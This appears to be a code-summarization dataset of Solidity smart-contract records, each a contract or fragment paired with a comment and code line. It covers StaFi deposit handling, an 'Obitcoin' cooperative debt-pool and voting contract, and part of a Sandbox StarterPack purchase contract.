rETHToken.userMint(msg.value, msg.sender);
// Emit deposit received event
emit DepositReceived(msg.sender, msg.value, now);
// Process deposit
processDeposit();
}
// Recycle a deposit from a dissolved stakingPool
// Only accepts calls from registered stakingPools
function recycleDissolvedDeposit() override external payable onlyLatestContract("stafiUserDeposit", address(this)) onlyRegisteredStakingPool(msg.sender) {
// Emit deposit recycled event
emit DepositRecycled(msg.sender, msg.value, now);
// Process deposit
processDeposit();
}
// Recycle a deposit from a withdrawn stakingPool
function recycleWithdrawnDeposit() override external payable onlyLatestContract("stafiUserDeposit", address(this)) onlyLatestContract("stafiNetworkWithdrawal", msg.sender) {
// Emit deposit recycled event
emit DepositRecycled(msg.sender, msg.value, now);
// Process deposit
processDeposit();
}
// Process a deposit
function processDeposit() private {
// Load contracts
IStafiEther stafiEther = IStafiEther(getContractAddress("stafiEther"));
// Transfer ETH to stafiEther
stafiEther.depositEther{value: msg.value}();
// Assign deposits if enabled
assignDeposits();
}
// Assign deposits to available stakingPools
function assignDeposits() override public onlyLatestContract("stafiUserDeposit", address(this)) {
// Check deposit settings
require(getAssignDepositsEnabled(), "Deposit assignments are currently disabled");
// Load contracts
IStafiStakingPoolQueue stafiStakingPoolQueue = IStafiStakingPoolQueue(getContractAddress("stafiStakingPoolQueue"));
IStafiEther stafiEther = IStafiEther(getContractAddress("stafiEther"));
// Assign deposits
uint256 maximumDepositAssignments = getMaximumDepositAssignments();
for (uint256 i = 0; i < maximumDepositAssignments; ++i) {
// Get & check next available staking pool capacity
uint256 stakingPoolCapacity = stafiStakingPoolQueue.getNextCapacity();
if (stakingPoolCapacity == 0 || getBalance() < stakingPoolCapacity) { break; }
// Dequeue next available staking pool
address stakingPoolAddress = stafiStakingPoolQueue.dequeueStakingPool();
IStafiStakingPool stakingPool = IStafiStakingPool(stakingPoolAddress);
// Withdraw ETH from stafiEther
stafiEther.withdrawEther(stakingPoolCapacity);
// Assign deposit to staking pool
stakingPool.userDeposit{value: stakingPoolCapacity}();
// Emit deposit assigned event
emit DepositAssigned(stakingPoolAddress, stakingPoolCapacity, now);
}
}
// Withdraw excess deposit pool balance for rETH collateral
function withdrawExcessBalance(uint256 _amount) override external onlyLatestContract("stafiUserDeposit", address(this)) onlyLatestContract("rETHToken", msg.sender) {
// Load contracts
IRETHToken rETHToken = IRETHToken(getContractAddress("rETHToken"));
IStafiEther stafiEther = IStafiEther(getContractAddress("stafiEther"));
// Check amount
require(_amount <= getExcessBalance(), "Insufficient excess balance for withdrawal");
// Withdraw ETH from vault
stafiEther.withdrawEther(_amount);
// Transfer to rETH contract
rETHToken.depositExcess{value: _amount}();
// Emit excess withdrawn event
emit ExcessWithdrawn(msg.sender, _amount, now);
}
// Deposits currently enabled
function getDepositEnabled() public view returns (bool) {
return getBoolS("settings.deposit.enabled");
}
function setDepositEnabled(bool _value) public onlySuperUser {
setBoolS("settings.deposit.enabled", _value);
}
// Deposit assignments currently enabled
function getAssignDepositsEnabled() public view returns (bool) {
return getBoolS("settings.deposit.assign.enabled");
}
function setAssignDepositsEnabled(bool _value) public onlySuperUser {
setBoolS("settings.deposit.assign.enabled", _value);
}
// Minimum deposit size
function getMinimumDeposit() public view returns (uint256) {
return getUintS("settings.deposit.minimum");
}
function setMinimumDeposit(uint256 _value) public onlySuperUser {
setUintS("settings.deposit.minimum", _value);
}
// The maximum size of the deposit pool
// function getMaximumDepositPoolSize() public view returns (uint256) {
// return getUintS("settings.deposit.pool.maximum");
// }
// function setMaximumDepositPoolSize(uint256 _value) public onlySuperUser {
// setUintS("settings.deposit.pool.maximum", _value);
// }
// The maximum number of deposit assignments to perform at once
function getMaximumDepositAssignments() public view returns (uint256) {
return getUintS("settings.deposit.assign.maximum");
}
function setMaximumDepositAssignments(uint256 _value) public onlySuperUser {
setUintS("settings.deposit.assign.maximum", _value);
}
}
|
Receive a ether withdrawal Only accepts calls from the StafiEther contract
|
function receiveEtherWithdrawal() override external payable onlyLatestContract("stafiUserDeposit", address(this)) onlyLatestContract("stafiEther", msg.sender) {}
| 10,724,405
|
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pragma solidity ^0.4.9;
contract Obitcoin{
//events for all actions made by the contract. They are fired by the contract, then catched and processed by the web application
//once an event is fired, it will always stay in the blockchain. This is the why our application can load all transactions that ever occurred within the contracy
//the contract has no access to previously fired events. That's why firing events is always cheaper than saving the same amount of data in contract storage
event TokenTransfer(uint16 indexed from, uint16 indexed to, uint16 indexed pool, int256 amount, uint time); //int256 because we can both remove and add tokens
event MoneyTransfer(uint16 indexed from, uint16 indexed to, uint16 indexed pool, int256 amount, uint time);
event SliceTransfer(uint16 indexed from, uint16 indexed to, uint16 indexed pool, int256 amount, uint time); //uint128 because we can only add slices
event TokenPurchase(uint16 indexed from, uint16 indexed pool, uint128 amount, uint time);
//event for the creaition of a pool, containing it's index for later access
event PoolChanged(uint16 indexed from, uint16 indexed pool, bool added, uint time);
//event to notify that someone has tried to access a method that he shouldn't have
event UnauthorizedAccess(uint16 indexed from, address indexed fromAddress, uint time);
//event to notify the removal or addition of an admin
event AdminChanged(uint16 indexed from, uint16 indexed to, bool added, uint time);
//event to notify the removal or addition of a person
event PersonChanged(uint16 indexed from, uint16 indexed to, bool added, uint time);
event VoteChanged(uint16 indexed from, uint16 indexed voteIndex, uint16 pool, VoteState voteState, uint time);
event Voted(uint16 indexed from, uint16 indexed voteIndex, uint16 pool, bool vote, uint time);
event Delegation(uint16 indexed from, uint16 indexed to, uint16 indexed pool, uint time);
enum PermLevel { none, member, admin, owner } //permission levels of contract members
enum VoteType { ParameterChange, TokenIssue, PullRequest } //shows the type of a certain vote action
enum VoteState { Pending, Successful, Unsuccessful } //if the voting is collecting votes, has finished successfully or unsuccessfully
struct Member { //the struct of a contract (and cooperative) member
bytes32 name; //maximum name length = 32 bytes. This is to avoid dynamic string, which is resource heavy.
PermLevel permLevel; //current permission level. Can be changed to everything but owner.
bool exists; //used to check if this struct is initialized
address adr; //current address of the person. Can be changed.
}
//Each contract member has an ID of type uint16
struct Pool { //the struct of a cooperative debt pool (containing members working on a certain action)
uint16[] members; //memberIds
mapping (uint16 => uint128[3]) balance; //the balance of each member
//uint[0] = tokens, uint[1] = slices, uint[2] = balance
mapping (uint16 => uint16) delegations; //who to who is delegating his voting rights
uint128[3] totalBalance; //sum of balance for all pool members
bool exists;
bytes16 name;
bytes16 legalContract;
bytes16 financialReports;
}
//Each Pool has an ID of type uint16
//A vote struct that indicates a certain action needs to be voted on to be successfully executed
struct Vote {
int[] arg2; //store data of the action
uint votedFor; //sum of votes FOR
uint votedAgainst; //sum of votes AGAINST
uint endTime; //deadline for voting
uint16[] arg1; //more data of the action
VoteType voteType;
VoteState voteState;
bool exists;
mapping(uint16 => bool) voted; //who has voted
uint16 pool; //votes can only be inside a certain pool
uint16 startedBy; //the initiator's ID
}
Vote[] activeVotes;
mapping(uint16 => Member) members;
uint16[] memberIds;
mapping(uint16 => Pool) pools;
uint16[] poolIds;
mapping(address => uint16) memberAddresses; //to access the member id from his current address. Must be updated if a member's address changes
uint16 memberCounter; //used to generate IDs
uint16 poolCounter;
uint firstBlockNumber; //used so that web3 knows from which block to start to scan for contract events (and extract them faster)
address owner;
uint constant voteTimeLimit = 1 weeks;
function Obitcoin(){ //constructor
owner = msg.sender;
firstBlockNumber = block.number;
memberCounter=1; //All IDs start from one to avoid the nature of solidity and it's uninitialized variables
poolCounter=1;
}
function init(){
if(owner != msg.sender || members[memberAddresses[owner]].exists) throw;
members[memberAddresses[owner]].permLevel = PermLevel.owner;
updateMember(0, "Coordinator", owner, true);
members[memberAddresses[owner]].permLevel = PermLevel.owner;
updateMember(0, "Pesho", 0x2e9Cf98A103148172B4e773F0ed2C58269A3fbd6, false);
updateMember(0, "Georgi", 0xa0323703351Bc5e4905A5080d0f1e3fc4e57220f, false);
updateDebtPool(0, "Save pesho", "ayy", "lmao");
uint16[] memory toMembers = new uint16[](3);
toMembers[0] = 1;
toMembers[1] = 2;
toMembers[2] = 3;
int256[] memory amount = new int256[](3);
amount[0] = 10;
amount[1] = 20;
amount[2] = 30;
sendTokens(1, toMembers, amount);
}
function addMembers(){ //test method do add some fake members to the contract
updateMember(0, "Pesho", address(memberCounter), false);
updateMember(0, "Pesho", address(memberCounter), false);
updateMember(0, "Pesho", address(memberCounter), false);
updateMember(0, "Pesho", address(memberCounter), false);
updateMember(0, "Pesho", address(memberCounter), false);
uint16[] memory toMembers = new uint16[](5);
toMembers[0] = memberCounter-1;
toMembers[1] = memberCounter-2;
toMembers[2] = memberCounter-3;
toMembers[3] = memberCounter-4;
toMembers[4] = memberCounter-5;
int256[] memory amount = new int256[](5);
amount[0] = 10;
amount[1] = 20;
amount[2] = 30;
amount[3] = 40;
amount[4] = 50;
sendTokens(1, toMembers, amount);
}
modifier only(PermLevel level){ //only a person with the same or higher permission level is allowed to call the function
if(members[memberAddresses[msg.sender]].permLevel >= level){
_;
return;
}
UnauthorizedAccess(memberAddresses[msg.sender], msg.sender, now);
}
modifier onlyPoolMember(uint16 pool) { //only a pool member of a certain pool is allowed to call the function
for(uint16 i = 0; i<pools[pool].members.length; i++) if(pools[pool].members[i] == memberAddresses[msg.sender]){
_;
return;
}
UnauthorizedAccess(memberAddresses[msg.sender], msg.sender, now);
}
/*modifier checkActiveVotes(){ //TODO make the timings in the contract
_;
}*/
function updateMember(uint16 member, bytes32 name, address adr, bool isAdmin) public only(PermLevel.owner) {
if(member != 0 && !members[member].exists) throw;
if(member != 0 && members[member].permLevel == PermLevel.owner) throw; //the owner should stay untouched
if(memberAddresses[adr] != member && memberAddresses[adr] != 0) throw; //can't add this person if the same address is already in the system.
bool added = member == 0;
if(added){ //add the member
member = memberCounter++;
memberIds.push(member);
}
if(members[member].adr != adr){
memberAddresses[members[member].adr] = 0;
memberAddresses[adr] = member;
}
if(members[member].permLevel == PermLevel.admin != isAdmin){
AdminChanged(memberAddresses[msg.sender], member, isAdmin, now);
}
members[member] = Member({name: name, adr: adr, permLevel: isAdmin ? PermLevel.admin : PermLevel.member, exists: true});
PersonChanged(memberAddresses[msg.sender], member, added, now);
}
function updateDebtPool(uint16 pool, bytes16 name, bytes16 legalContract, bytes16 financialReports) public only(PermLevel.admin) {
if(pool != 0 && !pools[pool].exists) throw;
bool added = pool == 0;
if(added){ //create the pool
pool = poolCounter++;
poolIds.push(pool);
}
pools[pool].name = name;
pools[pool].legalContract = legalContract;
pools[pool].financialReports = financialReports;
pools[pool].exists = true;
PoolChanged(memberAddresses[msg.sender], pool, added, now);
}
function getContractAddress() public constant returns (address){ //this method is used to test if the web application is connecting to an actual contract
return this;
}
function getPublishingBlockNumber() public constant returns (uint){ //this method allows the web application to start extracting contract events after this block number
return firstBlockNumber;
}
function getPools() public constant returns (uint16[]){
return poolIds;
}
function getPool(uint16 poolId) public constant returns (bytes16[3], uint16[], uint16[], uint128[3], uint128[3][]){
Pool pool = pools[poolId];
if(!pool.exists) throw;
bytes16[3] memory data;
uint128[3][] memory membersBalance = new uint128[3][](pool.members.length);
uint16[] memory delegations = new uint16[](pool.members.length);
data[0] = pool.name;
data[1] = pool.legalContract;
data[2] = pool.financialReports;
for(uint16 i = 0; i<pool.members.length; i++){
membersBalance[i] = pool.balance[pool.members[i]];
delegations[i] = pool.delegations[pool.members[i]];
}
return(data, pool.members, delegations, pool.totalBalance, membersBalance);
}
function getMembers() public constant returns (uint16[], bytes32[], address[], PermLevel[]){
bytes32[] memory names = new bytes32[](memberIds.length);
address[] memory addresses = new address[](memberIds.length);
PermLevel[] memory permLevels = new PermLevel[](memberIds.length);
for(uint16 i = 0 ; i<memberIds.length; i++){
names[i] = members[memberIds[i]].name;
addresses[i] = members[memberIds[i]].adr;
permLevels[i] = members[memberIds[i]].permLevel;
}
return (memberIds, names, addresses, permLevels);
}
function getVotesLength() public constant returns (uint){
return activeVotes.length;
}
function getVote(uint16 voteIndex) public constant returns (VoteType, uint16, uint16[], int[], uint16, VoteState, uint, uint, uint, bool[] voted, uint16[] poolMembers){
Vote vote = activeVotes[voteIndex];
voted = new bool[](pools[vote.pool].members.length);
for(uint16 i = 0; i<pools[vote.pool].members.length; i++){
voted[i] = vote.voted[pools[vote.pool].members[i]];
}
return (vote.voteType, vote.pool, vote.arg1, vote.arg2, vote.startedBy, vote.voteState, vote.endTime, vote.votedFor, vote.votedAgainst, voted, pools[vote.pool].members);
}
//TODO check if the "to" is a valid member
function delegateVote(uint16 poolId, uint16 to) public only(PermLevel.member){
uint16 member = memberAddresses[msg.sender]; //get the ID of the caller
Pool pool = pools[poolId];
if(to != 0){
if(pool.balance[to][1] == 0) throw; //if 'to' is not a member of the pool (aka has no slices in it)
if(pool.delegations[to] != 0) pool.delegations[member] = pool.delegations[to]; //if the person we're delegating to has delegated
else pool.delegations[member] = to; //just delegate otherwise
} else pool.delegations[member] = 0;
if(member == pool.delegations[member]) throw; //we cannot let the caller delegate to himself
Delegation(member, pool.delegations[member], poolId, now);
//if there are people delegating to us, delegate their vote to whoever we just delegated to
for(uint i = 0; i<memberIds.length; i++){
if(pool.delegations[memberIds[i]] == member){
pool.delegations[memberIds[i]] = pool.delegations[member];
Delegation(memberIds[i], pool.delegations[member], poolId, now);
}
}
//TODO what if the person we're delegating TO has voted already??
}
function vote(uint16 voteIndex, bool voteFor) public onlyPoolMember(activeVotes[voteIndex].pool){
Vote vote = activeVotes[voteIndex];
Pool pool = pools[vote.pool];
uint16 member = memberAddresses[msg.sender];
if(vote.voted[member] || vote.voteState != VoteState.Pending) throw; //if the person has voted or the voting is closed
if(pool.delegations[member] != 0 && pool.delegations[member] != member) throw; //you cannot vote if you've delegated
vote.voted[member] = true;
uint128 weight = pool.balance[member][0]; //the member's current tokens;
Voted(memberAddresses[msg.sender], voteIndex, vote.pool, voteFor, now);
for(uint i = 0; i<pool.members.length; i++){
if(pool.delegations[pool.members[i]] == member && pool.members[i] != member){
if(vote.voted[pool.members[i]]) continue; //if the person has already voted...somehow
weight += pool.balance[pool.members[i]][0]; //add the person's tokens to the total weight of the vote
vote.voted[pool.members[i]] = true;
Voted(pool.members[i], voteIndex, vote.pool, voteFor, now);
}
}
if(voteFor){
vote.votedFor += weight;
if(vote.votedFor >= pool.totalBalance[0]/2 + 1){ //if the vote has been reached successively
vote.voteState = VoteState.Successful;
if(vote.voteType == VoteType.TokenIssue){ //execute the transaction that was voted
executeTokenSending(vote.pool, vote.arg1, vote.arg2);
}
VoteChanged(vote.startedBy, voteIndex, vote.pool, vote.voteState, now);
}
}
else{
vote.votedAgainst += weight;
if(vote.votedAgainst >= pool.totalBalance[0]/2 - pool.totalBalance[0]%2){ //if the vote hasn't been reached successively
vote.voteState = VoteState.Unsuccessful;
VoteChanged(vote.startedBy, voteIndex, vote.pool, vote.voteState, now);
}
}
}
function sendTokens(uint16 pool, uint16[] toMembers, int[] amount) public only(PermLevel.owner) {
//check to see if the data is valid. The function sendTokens will further check if every pool and member exists.
if(toMembers.length == 0 || amount.length == 0 || amount.length != toMembers.length) throw;
if(!pools[pool].exists) throw;
for(uint16 i = 0; i<toMembers.length; i++){
if(amount[i] == 0 || !members[toMembers[i]].exists) throw;
}
if(pools[pool].members.length == 0){ //if there are no pool members, apply the changes without voting
executeTokenSending(pool, toMembers, amount);
return;
}
activeVotes.length++;
Vote vote = activeVotes[activeVotes.length-1];
vote.exists = true;
vote.voteType = VoteType.TokenIssue;
vote.voteState = VoteState.Pending;
vote.startedBy = memberAddresses[msg.sender];
vote.endTime = now + voteTimeLimit;
vote.arg1 = toMembers;
vote.pool = pool;
vote.arg2 = amount;
VoteChanged(vote.startedBy, (uint16)(activeVotes.length)-1, vote.pool, vote.voteState, now);
}
//possible bad situation: when voting is successful and this method is executed, in case it fails it leaves the voting to be "pending" forever.
function executeTokenSending(uint16 pool, uint16[] toMembers, int[] totalAmount) private{
if(totalAmount.length != toMembers.length) throw;
uint16 member;
int amount;
uint128[3] balance;
for(uint16 i=0; i< toMembers.length; i++){
member = toMembers[i];
balance = pools[pool].balance[member];
amount = totalAmount[i];
if(balance[0] + amount < balance[0]) throw; //avoid the 16-byte INT overflow
if(balance[1] + amount < balance[1]) throw;
if(-amount > balance[0]) throw; //if we'll have to subtract more tokens than available
if(balance[0] == 0 && balance[1]==0) pools[pool].members.push(member); //if the member is not a member of the pool, add him
if(amount>0){
balance[0] += uint128(amount);
balance[1] += uint128(amount);
pools[pool].totalBalance[0] += uint128(amount);
pools[pool].totalBalance[1] += uint128(amount);
} else {
balance[0] -= uint128(-amount);
balance[1] -= uint128(-amount);
pools[pool].totalBalance[0] -= uint128(-amount);
pools[pool].totalBalance[1] -= uint128(-amount);
}
TokenTransfer(memberAddresses[msg.sender], member, pool, amount, now); //add to the current amount of tokens of the person
SliceTransfer(memberAddresses[msg.sender], member, pool, amount, now); //add to the total amount of tokens of the person
}
}
//this function uses the most gas. Split it on multiple calls to compensate for that. Perhaps make a call to split money for the first x members, then for the next x...
function buyTokens(uint16 pool, uint128 amount) public only(PermLevel.admin) {
Pool debtPool = pools[pool];
if(amount == 0 || !debtPool.exists || debtPool.members.length==0) throw;
//memory, because the array is copied and not referenced (which we want, because writing to storage is expensive)
uint128[3] memory sum = debtPool.totalBalance; //get the token, money and slice sums. In an array because of the stack depth limit
uint128 totalSent = 0; //tracking how much is actually sent.
uint i=0;
if(sum[1]==0) throw; //we cannot split if we don't have any slices to split based on!
uint16 member;
uint128 share;
uint128 value;
uint128 leftToSplit;
int256[] memory moneyToApply = new int256[](pools[pool].members.length); //to avoid additional writes to storage, we're doing everything on memory and applying it afterwards in storage
int256[] memory tokensToApply = new int256[](pools[pool].members.length);
bool stage1 = sum[0] > 0;
while(amount>totalSent){ //ideally the loop should terminate after 1 to 3 iterations
leftToSplit = amount - totalSent; //what is left to split for this iteration of the loop
for(i=0; i<debtPool.members.length; i++){
member = debtPool.members[i];
share = stage1 ? debtPool.balance[member][0] : debtPool.balance[member][1]; //get the tokens or slices of that person
value = (share*leftToSplit)/(stage1 ? debtPool.totalBalance[0] : sum[1]); //get the value that we're going to send to the member. Either buying coins or sending money directly. We're reading the token sum from there, because our local one is being modified constantly
if(i == debtPool.members.length-1 && (!stage1 || amount-totalSent <= sum[0]) ){ //if we're at the last iteration of the main and inner loop
value = amount-totalSent; //transfer what's left from integer arithmetics inaccuracies
}
if(tokensToApply[i] == 0 && moneyToApply[i] == 0){ //copy the member's balance to memory if we haven't already
tokensToApply[i] = debtPool.balance[member][0]; //this is done to avoid expensive excessive storage I/O
moneyToApply[i] = debtPool.balance[member][2];
}
if(value == 0){
continue; //no need to waste gas if we're not doing anything
}
if(stage1){ //if we're buying tokens
if(value>share) value = share; //We can't buy more tokens than available
sum[0] -= value; //update the total balance of the pool
tokensToApply[i] -= value; //subtract the tokens from the member
}
totalSent += value; //track how much was sent
sum[2] += value; //update the total balance of the pool
moneyToApply[i] += value; //update the member's money
if(!stage1 || amount-totalSent <= sum[0]){ //if we're at the last iteration of the main loop and we need to write the changes to storage
if(tokensToApply[i] != debtPool.balance[member][0]){ //if we've removed any tokens of that person
TokenTransfer(memberAddresses[msg.sender], member, pool, tokensToApply[i] - int256(debtPool.balance[member][0]), now); //send the event
}
if(moneyToApply[i] != debtPool.balance[member][2]){ //if this person's money have changed
MoneyTransfer(memberAddresses[msg.sender], member, pool, moneyToApply[i] - int256(debtPool.balance[member][2]), now); //send the event
}
debtPool.balance[member][0] = uint128(tokensToApply[i]);
debtPool.balance[member][2] = uint128(moneyToApply[i]);
}
if(totalSent >= amount) break; //avoid useless looping if we're done
}
stage1 = false;
}
debtPool.totalBalance = sum;
if(totalSent!=amount) throw; //if there was an error in the splitting algorithm
TokenPurchase(memberAddresses[msg.sender], pool, totalSent, now);
}
}
|
what is left to split for this iteration of the loop
|
leftToSplit = amount - totalSent;
| 1,008,397
|
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pragma solidity 0.6.5;
pragma experimental ABIEncoderV2;
import "../common/Libraries/SafeMathWithRequire.sol";
import "../common/Interfaces/ERC20.sol";
import "../common/BaseWithStorage/MetaTransactionReceiver.sol";
import "../common/Interfaces/Medianizer.sol";
import "../common/BaseWithStorage/Admin.sol";
import "../Catalyst/ERC20GroupCatalyst.sol";
import "../Catalyst/ERC20GroupGem.sol";
import "./PurchaseValidator.sol";
/// @title StarterPack contract that supports SAND, DAI and ETH as payment
/// @notice This contract manages the purchase and distribution of StarterPacks (bundles of Catalysts and Gems)
contract StarterPackV1 is Admin, MetaTransactionReceiver, PurchaseValidator {
using SafeMathWithRequire for uint256;
uint256 internal constant DAI_PRICE = 44000000000000000;
uint256 private constant DECIMAL_PLACES = 1 ether;
ERC20 internal immutable _sand;
Medianizer private immutable _medianizer;
ERC20 private immutable _dai;
ERC20Group internal immutable _erc20GroupCatalyst;
ERC20Group internal immutable _erc20GroupGem;
bool _sandEnabled;
bool _etherEnabled;
bool _daiEnabled;
uint256[] private _starterPackPrices;
uint256[] private _previousStarterPackPrices;
uint256 private _gemPrice;
uint256 private _previousGemPrice;
// The timestamp of the last pricechange
uint256 private _priceChangeTimestamp;
address payable internal _wallet;
// The delay between calling setPrices() and when the new prices come into effect.
// Minimizes the effect of price changes on pending TXs
uint256 private constant PRICE_CHANGE_DELAY = 1 hours;
event Purchase(address indexed buyer, Message message, uint256 price, address token, uint256 amountPaid);
event SetPrices(uint256[] prices, uint256 gemPrice);
struct Message {
uint256[] catalystIds;
uint256[] catalystQuantities;
uint256[] gemIds;
uint256[] gemQuantities;
uint256 nonce;
}
// ////////////////////////// Functions ////////////////////////
/// @notice Set the wallet receiving the proceeds
/// @param newWallet Address of the new receiving wallet
function setReceivingWallet(address payable newWallet) external {
require(newWallet != address(0), "WALLET_ZERO_ADDRESS");
require(msg.sender == _admin, "NOT_AUTHORIZED");
_wallet = newWallet;
}
/// @notice Enable / disable DAI payment for StarterPacks
/// @param enabled Whether to enable or disable
function setDAIEnabled(bool enabled) external {
require(msg.sender == _admin, "NOT_AUTHORIZED");
_daiEnabled = enabled;
}
/// @notice Return whether DAI payments are enabled
/// @return Whether DAI payments are enabled
function isDAIEnabled() external view returns (bool) {
return _daiEnabled;
}
/// @notice Enable / disable ETH payment for StarterPacks
/// @param enabled Whether to enable or disable
function setETHEnabled(bool enabled) external {
require(msg.sender == _admin, "NOT_AUTHORIZED");
_etherEnabled = enabled;
}
/// @notice Return whether ETH payments are enabled
/// @return Whether ETH payments are enabled
function isETHEnabled() external view returns (bool) {
return _etherEnabled;
}
/// @dev Enable / disable the specific SAND payment for StarterPacks
/// @param enabled Whether to enable or disable
function setSANDEnabled(bool enabled) external {
require(msg.sender == _admin, "NOT_AUTHORIZED");
_sandEnabled = enabled;
}
/// @notice Return whether SAND payments are enabled
/// @return Whether SAND payments are enabled
function isSANDEnabled() external view returns (bool) {
return _sandEnabled;
}
/// @notice Purchase StarterPacks with SAND
/// @param buyer The destination address for the purchased Catalysts and Gems and the address that will pay for the purchase; if not metaTx then buyer must be equal to msg.sender
/// @param message A message containing information about the Catalysts and Gems to be purchased
/// @param signature A signed message specifying tx details
function purchaseWithSand(
address buyer,
Message calldata message,
bytes calldata signature
) external {
require(msg.sender == buyer || _metaTransactionContracts[msg.sender], "INVALID_SENDER");
require(_sandEnabled, "SAND_IS_NOT_ENABLED");
require(buyer != address(0), "DESTINATION_ZERO_ADDRESS");
require(
isPurchaseValid(buyer, message.catalystIds, message.catalystQuantities, message.gemIds, message.gemQuantities, message.nonce, signature),
"INVALID_PURCHASE"
);
uint256 amountInSand = _calculateTotalPriceInSand(message.catalystIds, message.catalystQuantities, message.gemQuantities);
_handlePurchaseWithERC20(buyer, _wallet, address(_sand), amountInSand);
_erc20GroupCatalyst.batchTransferFrom(address(this), buyer, message.catalystIds, message.catalystQuantities);
_erc20GroupGem.batchTransferFrom(address(this), buyer, message.gemIds, message.gemQuantities);
emit Purchase(buyer, message, amountInSand, address(_sand), amountInSand);
}
/// @notice Purchase StarterPacks with Ether
/// @param buyer The destination address for the purchased Catalysts and Gems and the address that will pay for the purchase; if not metaTx then buyer must be equal to msg.sender
/// @param message A message containing information about the Catalysts and Gems to be purchased
/// @param signature A signed message specifying tx details
function purchaseWithETH(
address buyer,
Message calldata message,
bytes calldata signature
) external payable {
require(msg.sender == buyer || _metaTransactionContracts[msg.sender], "INVALID_SENDER");
require(_etherEnabled, "ETHER_IS_NOT_ENABLED");
require(buyer != address(0), "DESTINATION_ZERO_ADDRESS");
require(buyer != address(this), "DESTINATION_STARTERPACKV1_CONTRACT");
require(
isPurchaseValid(buyer, message.catalystIds, message.catalystQuantities, message.gemIds, message.gemQuantities, message.nonce, signature),
"INVALID_PURCHASE"
);
uint256 amountInSand = _calculateTotalPriceInSand(message.catalystIds, message.catalystQuantities, message.gemQuantities);
uint256 ETHRequired = getEtherAmountWithSAND(amountInSand);
require(msg.value >= ETHRequired, "NOT_ENOUGH_ETHER_SENT");
_wallet.transfer(ETHRequired);
_erc20GroupCatalyst.batchTransferFrom(address(this), buyer, message.catalystIds, message.catalystQuantities);
_erc20GroupGem.batchTransferFrom(address(this), buyer, message.gemIds, message.gemQuantities);
emit Purchase(buyer, message, amountInSand, address(0), ETHRequired);
if (msg.value - ETHRequired > 0) {
// refund extra
(bool success, ) = msg.sender.call{value: msg.value - ETHRequired}("");
require(success, "REFUND_FAILED");
}
}
/// @notice Purchase StarterPacks with DAI
/// @param buyer The destination address for the purchased Catalysts and Gems and the address that will pay for the purchase; if not metaTx then buyer must be equal to msg.sender
/// @param message A message containing information about the Catalysts and Gems to be purchased
/// @param signature A signed message specifying tx details
function purchaseWithDAI(
address buyer,
Message calldata message,
bytes calldata signature
) external {
require(msg.sender == buyer || _metaTransactionContracts[msg.sender], "INVALID_SENDER");
require(_daiEnabled, "DAI_IS_NOT_ENABLED");
require(buyer != address(0), "DESTINATION_ZERO_ADDRESS");
require(buyer != address(this), "DESTINATION_STARTERPACKV1_CONTRACT");
require(
isPurchaseValid(buyer, message.catalystIds, message.catalystQuantities, message.gemIds, message.gemQuantities, message.nonce, signature),
"INVALID_PURCHASE"
);
uint256 amountInSand = _calculateTotalPriceInSand(message.catalystIds, message.catalystQuantities, message.gemQuantities);
uint256 DAIRequired = amountInSand.mul(DAI_PRICE).div(DECIMAL_PLACES);
_handlePurchaseWithERC20(buyer, _wallet, address(_dai), DAIRequired);
_erc20GroupCatalyst.batchTransferFrom(address(this), buyer, message.catalystIds, message.catalystQuantities);
_erc20GroupGem.batchTransferFrom(address(this), buyer, message.gemIds, message.gemQuantities);
emit Purchase(buyer, message, amountInSand, address(_dai), DAIRequired);
}
/// @notice Enables admin to withdraw all remaining tokens
/// @param to The destination address for the purchased Catalysts and Gems
/// @param catalystIds The IDs of the catalysts to be transferred
/// @param gemIds The IDs of the gems to be transferred
function withdrawAll(
address to,
uint256[] calldata catalystIds,
uint256[] calldata gemIds
) external {
require(msg.sender == _admin, "NOT_AUTHORIZED");
address[] memory catalystAddresses = new address[](catalystIds.length);
for (uint256 i = 0; i < catalystIds.length; i++) {
catalystAddresses[i] = address(this);
}
address[] memory gemAddresses = new address[](gemIds.length);
for (uint256 i = 0; i < gemIds.length; i++) {
gemAddresses[i] = address(this);
}
uint256[] memory unsoldCatalystQuantities = _erc20GroupCatalyst.balanceOfBatch(catalystAddresses, catalystIds);
uint256[] memory unsoldGemQuantities = _erc20GroupGem.balanceOfBatch(gemAddresses, gemIds);
_erc20GroupCatalyst.batchTransferFrom(address(this), to, catalystIds, unsoldCatalystQuantities);
_erc20GroupGem.batchTransferFrom(address(this), to, gemIds, unsoldGemQuantities);
}
/// @notice Enables admin to change the prices of the StarterPack bundles
/// @param prices Array of new prices that will take effect after a delay period
/// @param gemPrice New price for gems that will take effect after a delay period
function setPrices(uint256[] calldata prices, uint256 gemPrice) external {
require(msg.sender == _admin, "NOT_AUTHORIZED");
_previousStarterPackPrices = _starterPackPrices;
_starterPackPrices = prices;
_previousGemPrice = _gemPrice;
_gemPrice = gemPrice;
_priceChangeTimestamp = now;
emit SetPrices(prices, gemPrice);
}
/// @notice Get current StarterPack prices
/// @return pricesBeforeSwitch Array of prices before price change
/// @return pricesAfterSwitch Array of prices after price change
/// @return gemPriceBeforeSwitch Gem price before price change
/// @return gemPriceAfterSwitch Gem price after price change
/// @return switchTime The time the latest price change will take effect, being the time of the price change plus the price change delay
function getPrices()
external
view
returns (
uint256[] memory pricesBeforeSwitch,
uint256[] memory pricesAfterSwitch,
uint256 gemPriceBeforeSwitch,
uint256 gemPriceAfterSwitch,
uint256 switchTime
)
{
switchTime = 0;
if (_priceChangeTimestamp != 0) {
switchTime = _priceChangeTimestamp + PRICE_CHANGE_DELAY;
}
return (_previousStarterPackPrices, _starterPackPrices, _previousGemPrice, _gemPrice, switchTime);
}
/// @notice Returns the amount of ETH for a specific amount of SAND
/// @param sandAmount An amount of SAND
/// @return The amount of ETH
function getEtherAmountWithSAND(uint256 sandAmount) public view returns (uint256) {
uint256 ethUsdPair = _getEthUsdPair();
return sandAmount.mul(DAI_PRICE).div(ethUsdPair);
}
// ////////////////////////// Internal ////////////////////////
/// @dev Gets the ETHUSD pair from the Medianizer contract
/// @return The pair as an uint256
function _getEthUsdPair() internal view returns (uint256) {
bytes32 pair = _medianizer.read();
return uint256(pair);
}
/// @dev Function to calculate the total price in SAND of the StarterPacks to be purchased
/// @dev The price of each StarterPack relates to the catalystId
/// @param catalystIds Array of catalystIds to be purchase
/// @param catalystQuantities Array of quantities of those catalystIds to be purchased
/// @return Total price in SAND
function _calculateTotalPriceInSand(
uint256[] memory catalystIds,
uint256[] memory catalystQuantities,
uint256[] memory gemQuantities
) internal returns (uint256) {
require(catalystIds.length == catalystQuantities.length, "INVALID_INPUT");
(uint256[] memory prices, uint256 gemPrice) = _priceSelector();
uint256 totalPrice;
